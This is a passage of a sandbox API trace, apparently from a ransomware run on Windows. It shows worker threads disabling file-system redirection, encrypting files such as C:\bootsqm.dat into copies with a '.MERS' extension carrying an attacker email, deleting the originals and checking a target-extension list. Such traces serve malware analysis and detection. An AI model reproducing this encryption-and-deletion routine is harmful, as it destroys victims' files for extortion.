0x102 [0267.250] GetTickCount () returned 0x9359 [0267.251] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0267.412] GetTickCount () returned 0x9404 [0267.412] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0267.554] GetTickCount () returned 0x9491 [0267.554] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0267.797] GetTickCount () returned 0x957b [0267.797] GetTickCount () returned 0x957b [0267.797] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0267.976] GetTickCount () returned 0x9636 [0267.976] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0268.097] GetTickCount () returned 0x96b3 [0268.097] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0268.381] GetTickCount () returned 0x97cb [0268.381] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0268.674] GetTickCount () returned 0x98c5 [0268.674] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0268.805] GetTickCount () returned 0x9942 [0268.806] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0269.071] GetTickCount () returned 0x9a4b [0269.071] GetTickCount () returned 0x9a4b [0269.071] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0269.396] GetTickCount () returned 0x9b93 [0269.396] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0269.612] GetTickCount () returned 0x9c6d [0269.612] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0269.729] GetTickCount () returned 0x9cda [0269.729] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0270.526] GetTickCount () returned 0x9ff6 [0270.526] GetTickCount () returned 0x9ff6 [0270.526] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0270.790] GetTickCount () returned 0xa0ff [0270.790] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0271.121] GetTickCount () returned 0xa256 [0271.121] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0271.319] GetTickCount () returned 0xa311 [0271.319] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0271.473] GetTickCount () returned 0xa3ad [0271.473] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0271.825] GetTickCount () returned 0xa514 [0271.825] GetTickCount () returned 0xa514 [0271.825] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0272.098] GetTickCount () returned 0xa61d [0272.098] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0272.588] GetTickCount () returned 0xa811 [0272.588] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0272.788] GetTickCount () returned 0xa8cc [0272.788] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0272.973] GetTickCount () returned 0xa987 [0272.973] GetTickCount () returned 0xa987 [0272.973] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0273.157] GetTickCount () returned 0xaa42 [0273.157] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0273.379] GetTickCount () returned 0xab1d [0273.379] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0273.503] GetTickCount () returned 0xab99 [0273.503] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x0 [0273.579] GetTickCount () returned 0xabe7 [0273.579] Sleep (dwMilliseconds=0x64) [0273.859] GetTickCount () returned 0xad00 [0273.859] Sleep (dwMilliseconds=0x64) [0273.976] GetTickCount () returned 0xad6d [0273.976] Sleep (dwMilliseconds=0x64) Thread: id = 89 os_tid = 0x678 [0257.419] GetTickCount () returned 0x6e5b [0257.419] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x597878 [0257.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x597878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0257.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x597878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0257.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x597878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0257.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x597878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0257.631] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595010 [0257.631] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x595010, Size=0x20) returned 0x59d338 [0257.631] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595010 [0257.631] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x595010, Size=0x20) returned 0x59d360 [0257.631] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0257.652] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0257.652] Wow64DisableWow64FsRedirection (in: OldValue=0x256ff84 | out: OldValue=0x256ff84*=0x0) returned 1 [0257.652] lstrlenW (lpString="kernel32.dll") returned 12 [0257.652] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59d338 | out: hHeap=0x540000) returned 1 [0257.652] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0257.652] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59d360 | out: hHeap=0x540000) returned 1 [0257.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5c3f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x170 [0257.654] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0257.862] GetTickCount () returned 0x6f64 [0257.862] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0258.056] GetTickCount () returned 0x7020 [0258.056] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0258.222] GetTickCount () returned 0x70cb [0258.222] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0258.379] GetTickCount () returned 0x7167 [0258.379] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0258.690] GetTickCount () returned 0x7290 [0258.690] GetTickCount () returned 0x7290 [0258.690] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0258.883] GetTickCount () returned 0x734b [0258.883] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0259.132] GetTickCount () returned 0x7435 [0259.132] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0259.378] GetTickCount () returned 0x751f [0259.378] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0259.554] GetTickCount () returned 0x75da [0259.554] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0259.779] GetTickCount () returned 0x76b4 [0259.779] GetTickCount () returned 0x76b4 [0259.779] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0259.905] GetTickCount () returned 0x7722 [0259.905] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0260.117] GetTickCount () returned 0x77fc [0260.118] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0260.438] GetTickCount () returned 0x7924 [0260.438] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0260.740] GetTickCount () returned 0x7a5d [0260.740] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0260.844] GetTickCount () returned 0x7aba [0260.844] GetTickCount () returned 0x7aba [0260.844] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0260.958] GetTickCount () returned 0x7b27 [0260.958] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0261.540] GetTickCount () returned 0x7d69 [0261.540] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0261.837] GetTickCount () returned 0x7e81 [0261.837] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0262.140] GetTickCount () returned 0x7faa [0262.140] GetTickCount () returned 0x7faa [0262.140] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0262.441] GetTickCount () returned 0x80d2 [0262.441] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0262.785] GetTickCount () returned 0x8229 [0262.785] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0262.971] GetTickCount () returned 0x82d5 [0262.971] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0263.342] GetTickCount () returned 0x843c [0263.342] GetTickCount () returned 0x843c [0263.342] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0263.481] GetTickCount () returned 0x84c8 [0263.481] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0263.723] GetTickCount () returned 0x85b2 [0263.724] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0263.918] GetTickCount () returned 0x866d [0263.918] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0264.088] GetTickCount () returned 0x8719 [0264.088] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0264.230] GetTickCount () returned 0x87a5 [0264.230] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0264.390] GetTickCount () returned 0x8841 [0264.390] GetTickCount () returned 0x8841 [0264.390] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0264.536] GetTickCount () returned 0x88ce [0264.536] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0264.726] GetTickCount () returned 0x8989 [0264.726] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0264.852] GetTickCount () returned 0x8a06 [0264.852] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0265.076] GetTickCount () returned 0x8ae0 [0265.076] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0265.263] GetTickCount () returned 0x8b9b [0265.263] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0265.546] GetTickCount () returned 0x8cb4 [0265.546] GetTickCount () returned 0x8cb4 [0265.546] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0265.780] GetTickCount () returned 0x8d9e [0265.780] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0266.000] GetTickCount () returned 0x8e79 [0266.000] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0266.272] GetTickCount () returned 0x8f91 [0266.272] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0266.482] GetTickCount () returned 0x905c [0266.482] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0266.600] GetTickCount () returned 0x90d9 [0266.600] GetTickCount () returned 0x90d9 [0266.600] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0266.724] GetTickCount () returned 0x9156 [0266.724] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0266.854] GetTickCount () returned 0x91d3 [0266.854] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0267.068] GetTickCount () returned 0x92ad [0267.068] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0267.251] GetTickCount () returned 0x9359 [0267.251] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0267.413] GetTickCount () returned 0x9404 [0267.413] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0267.554] GetTickCount () returned 0x9491 [0267.554] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0267.797] GetTickCount () returned 0x957b [0267.797] GetTickCount () returned 0x957b [0267.797] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0267.976] GetTickCount () returned 0x9636 [0267.976] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0268.097] GetTickCount () returned 0x96b3 [0268.097] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0268.381] GetTickCount () returned 0x97cb [0268.381] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0268.674] GetTickCount () returned 0x98c5 [0268.674] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0268.805] GetTickCount () returned 0x9942 [0268.805] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0269.071] GetTickCount () returned 0x9a4b [0269.071] GetTickCount () returned 0x9a4b [0269.071] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0269.396] GetTickCount () returned 0x9b93 [0269.396] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0269.612] GetTickCount () returned 0x9c6d [0269.612] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0269.729] GetTickCount () returned 0x9cda [0269.729] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0270.526] GetTickCount () returned 0x9ff6 [0270.526] GetTickCount () returned 0x9ff6 [0270.526] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0270.789] GetTickCount () returned 0xa0ff [0270.789] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0271.121] GetTickCount () returned 0xa256 [0271.121] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0271.319] GetTickCount () returned 0xa311 [0271.319] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0271.473] GetTickCount () returned 0xa3ad [0271.473] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0271.825] GetTickCount () returned 0xa514 [0271.825] GetTickCount () returned 0xa514 [0271.825] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0272.098] GetTickCount () returned 0xa61d [0272.098] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0272.588] GetTickCount () returned 0xa811 [0272.588] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0272.788] GetTickCount () returned 0xa8cc [0272.788] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0272.973] GetTickCount () returned 0xa987 [0272.973] GetTickCount () returned 0xa987 [0272.973] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0273.157] GetTickCount () returned 0xaa42 [0273.157] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0273.379] GetTickCount () returned 0xab1d [0273.379] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0273.503] GetTickCount () returned 0xab99 [0273.503] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x0 [0273.578] GetTickCount () returned 0xabe7 [0273.578] Sleep (dwMilliseconds=0x64) [0273.859] GetTickCount () returned 0xad00 [0273.859] Sleep (dwMilliseconds=0x64) [0273.976] GetTickCount () returned 0xad6d [0273.976] Sleep (dwMilliseconds=0x64) Thread: id = 90 os_tid = 0x688 Thread: id = 92 os_tid = 0x6dc [0257.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x603f38 [0257.673] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x613f40 [0257.673] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5951a8 [0257.673] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x5c1f68 [0257.673] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5951c0 [0257.673] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100000) returned 0x3840020 [0257.673] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5951d8 [0257.673] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5951d8, Size=0x20) returned 0x59d658 [0257.673] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5951d8 [0257.673] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5951d8, Size=0x20) returned 0x59d630 [0257.673] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0257.673] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0257.673] Wow64DisableWow64FsRedirection (in: OldValue=0x2beff58 | out: OldValue=0x2beff58*=0x0) returned 1 [0257.673] lstrlenW (lpString="kernel32.dll") returned 12 [0257.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59d658 | out: hHeap=0x540000) returned 1 [0257.673] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0257.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59d630 | out: hHeap=0x540000) returned 1 [0257.674] Sleep (dwMilliseconds=0x64) [0257.870] Sleep (dwMilliseconds=0x64) [0258.057] lstrcmpiW (lpString1=".dat", lpString2=".MERS") returned -1 [0258.057] lstrlenW (lpString="bootsqm.dat") returned 11 [0258.057] CreateFileW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.104] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=3264) returned 1 [0258.104] CloseHandle (hObject=0x2f0) returned 1 [0258.104] GetFileAttributesW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat")) returned 0x80 [0258.104] GetFileAttributesW (lpFileName="C:\\bootsqm.dat.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\bootsqm.dat.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.104] CreateFileW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.104] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0258.104] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0258.104] CreateFileW (lpFileName="C:\\bootsqm.dat.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\bootsqm.dat.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0258.104] GetLastError () returned 0x0 [0258.105] ReadFile (in: hFile=0x2f0, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0xcc0, lpOverlapped=0x0) returned 1 [0258.130] WriteFile (in: hFile=0x2f4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xcd0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xcd0, lpOverlapped=0x0) returned 1 [0258.131] ReadFile (in: hFile=0x2f0, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0258.131] WriteFile (in: hFile=0x2f4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xea, lpOverlapped=0x0) returned 1 [0258.131] SetEndOfFile (hFile=0x2f4) returned 1 [0258.131] CloseHandle (hObject=0x2f4) returned 1 [0258.131] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0258.131] SetEndOfFile (hFile=0x2f0) returned 1 [0258.132] CloseHandle (hObject=0x2f0) returned 1 [0258.132] SetFileAttributesW (lpFileName="C:\\bootsqm.dat.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x80) returned 1 [0258.132] DeleteFileW (lpFileName="C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat")) returned 1 [0258.133] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0258.133] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0258.133] lstrlenW (lpString=".doc") returned 4 [0258.133] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0258.133] lstrlenW (lpString=".docx") returned 5 [0258.133] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0258.133] lstrlenW (lpString=".pdf") returned 4 [0258.133] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0258.133] lstrlenW (lpString=".xls") returned 4 [0258.133] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0258.133] lstrlenW (lpString=".xlsx") returned 5 [0258.133] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0258.133] lstrlenW (lpString=".ppt") returned 4 [0258.133] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0258.133] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0258.133] lstrlenW (lpString=".zip") returned 4 [0258.133] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0258.133] lstrlenW (lpString=".rar") returned 4 [0258.133] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0258.133] lstrlenW (lpString=".bz2") returned 4 [0258.133] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0258.133] lstrlenW (lpString=".7z") returned 3 [0258.133] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0258.133] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0258.133] lstrlenW (lpString=".dbf") returned 4 [0258.133] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0258.133] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0258.133] lstrlenW (lpString=".1cd") returned 4 [0258.133] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0258.133] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0258.133] lstrlenW (lpString=".jpg") returned 4 [0258.133] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0258.134] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0258.134] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0258.134] lstrlenW (lpString=".doc") returned 4 [0258.134] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0258.134] lstrlenW (lpString=".docx") returned 5 [0258.134] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0258.134] lstrlenW (lpString=".pdf") returned 4 [0258.134] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0258.134] lstrlenW (lpString=".xls") returned 4 [0258.134] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0258.134] lstrlenW (lpString=".xlsx") returned 5 [0258.134] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0258.134] lstrlenW (lpString=".ppt") returned 4 [0258.134] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0258.134] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0258.134] lstrlenW (lpString=".zip") returned 4 [0258.134] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0258.134] lstrlenW (lpString=".rar") returned 4 [0258.134] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0258.134] lstrlenW (lpString=".bz2") returned 4 [0258.134] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0258.134] lstrlenW (lpString=".7z") returned 3 [0258.134] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0258.134] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0258.134] lstrlenW (lpString=".dbf") returned 4 [0258.134] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0258.134] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0258.134] lstrlenW (lpString=".1cd") returned 4 [0258.134] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0258.134] lstrlenW (lpString="C:\\bootsqm.dat") returned 14 [0258.134] lstrlenW (lpString=".jpg") returned 4 [0258.134] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0258.135] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0258.135] lstrlenW (lpString="boxed-correct.avi") returned 17 [0258.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0258.774] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=89600) returned 1 [0258.774] CloseHandle (hObject=0x2d4) returned 1 [0258.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0258.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0258.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0258.774] lstrlenW (lpString=".doc") returned 4 [0258.774] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.774] lstrlenW (lpString=".docx") returned 5 [0258.774] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0258.775] lstrlenW (lpString=".pdf") returned 4 [0258.775] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.775] lstrlenW (lpString=".xls") returned 4 [0258.775] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.775] lstrlenW (lpString=".xlsx") returned 5 [0258.775] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0258.775] lstrlenW (lpString=".ppt") returned 4 [0258.775] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0258.775] lstrlenW (lpString=".zip") returned 4 [0258.775] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.775] lstrlenW (lpString=".rar") returned 4 [0258.775] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.775] lstrlenW (lpString=".bz2") returned 4 [0258.775] lstrcmpiW (lpString1=".bz2", 